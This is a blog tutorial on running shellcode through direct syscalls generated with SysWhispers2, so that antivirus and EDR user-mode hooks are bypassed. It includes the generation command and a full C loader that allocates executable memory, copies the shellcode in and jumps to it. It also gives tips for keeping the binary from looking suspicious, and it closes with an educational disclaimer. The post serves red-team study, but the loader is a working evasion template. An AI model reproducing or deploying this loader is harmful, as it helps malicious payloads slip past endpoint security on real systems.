Before you read this post, make sure to check out my blog on Native API, as I’m using the same template here.
So, what is Direct Syscall?
In simple terms, Direct Syscall means invoking system calls directly, without relying on Windows Native APIs like NtCreateFile
or NtOpenProcess
. Instead of calling these functions through ntdll.dll
, we use a custom assembly stub to make the syscall manually. This allows us to bypass user-mode hooks placed by antivirus or EDR solutions, since we’re not using the usual API path.
We basically tell the compiler, “I want to use this system call number directly,” and then pass control to our stub.
Writing our own assembly stub from scratch is very difficult, but I’ll try to create one in the future and make a dedicated post about it.
For now, we’ll use SysWhispers2 — a tool that makes the process much easier. With SysWhispers2, we just need to specify which API we want to use as a direct syscall, and it will generate the necessary files (header and source) for us automatically.
As I mentioned earlier, we’ll follow the same template used in the Native API shellcode execution post, but we’ll modify it to use direct syscalls instead.
In the Native API method, we used the following functions:
We’ll use the same system calls here, but with one small change — instead of RtlCopyMemory
, we’ll use memcpy
. That’s because RtlCopyMemory
requires including the winternl.h
header, which might be considered suspicious by some security solutions. Using memcpy
from the standard C++ <string.h>
header is a safer and cleaner alternative.
Since we’re already including the <string.h>
header for memcpy
, we only need to generate direct syscall stubs for the remaining two functions: NtAllocateVirtualMemory
and NtFreeVirtualMemory
.
We can generate the required header and source files using SysWhispers2 with the following syntax:
python3 syswhispers.py -f NtAllocateVirtualMemory,NtFreeVirtualMemory -a x64 -l masm --out-file syscalls

This will create the syscall.h
and syscall.c
files containing the assembly stubs and function prototypes for the specified APIs.
Proof of Concept
PAYLOAD
#include "syscalls.h"
#include <string.h>
int main() {
// Your shellcode goes here
unsigned char yellow[] = /* shellcode */;
void* exec = NULL;
SIZE_T size = sizeof(yellow);
NTSTATUS status;
// Allocate memory for the shellcode using direct syscall
status = NtAllocateVirtualMemory(GetCurrentProcess(), &exec, 0, &size, 0x3000, 0x40);
if (status != 0) return -1;
// Copy the shellcode to the allocated memory
memcpy(exec, yellow, sizeof(yellow));
// Execute the shellcode
((void(*)())exec)();
// Free the allocated memory
status = NtFreeVirtualMemory(GetCurrentProcess(), &exec, &size, MEM_RELEASE);
return 0;
}
Let’s start with the header files:
#include "syscalls.h"
#include <string.h>
We include syscalls.h
, which was generated earlier using SysWhispers2. This header contains the direct syscall declarations we’ll use.
We also include string.h
— this is necessary for the memcpy
function, which we’ll use to copy the shellcode into memory.
int main() {
// Your shellcode goes here
unsigned char yellow[] = /* shellcode */;
void* exec = NULL;
SIZE_T size = sizeof(yellow);
NTSTATUS status;
In this part, we define our shellcode inside a byte array called yellow
.
We then create a pointer exec
, which will later point to the memory we allocate for executing the shellcode.
Next, we have a variable size
which stores the size of the shellcode, and finally, a status
variable of type NTSTATUS
— this will store the return values from our system calls so we can check if they succeed or fail.
The rest of the code is straightforward — it’s almost the same as what we did in the Native API shellcode post, so make sure you’ve read that one before diving into this.
// Allocate memory for the shellcode using direct syscall
status = NtAllocateVirtualMemory(GetCurrentProcess(), &exec, 0, &size, 0x3000, 0x40);
if (status != 0) return -1;
// Copy the shellcode to the allocated memory
memcpy(exec, yellow, sizeof(yellow));
// Execute the shellcode
((void(*)())exec)();
// Free the allocated memory
status = NtFreeVirtualMemory(GetCurrentProcess(), &exec, &size, MEM_RELEASE);
return 0;
}
Here’s what happens:
- We allocate memory using
NtAllocateVirtualMemory
, and store the result instatus
. - Then we copy our shellcode into that memory using
memcpy
. - After that, we execute the shellcode with
((void(*)())exec)();
— this casts the memory address to a function pointer and runs it. - Once execution is done, we clean up by freeing the memory using
NtFreeVirtualMemory
.
Disclaimer
This post is for educational purposes only. The techniques shown here are intended to help security researchers and red teamers understand how modern detection mechanisms work and how attackers might attempt to bypass them.
Do not use this knowledge for unauthorized or malicious activities.
Always test in a controlled lab environment and with proper permissions.
Using these techniques irresponsibly may be illegal and could result in serious consequences.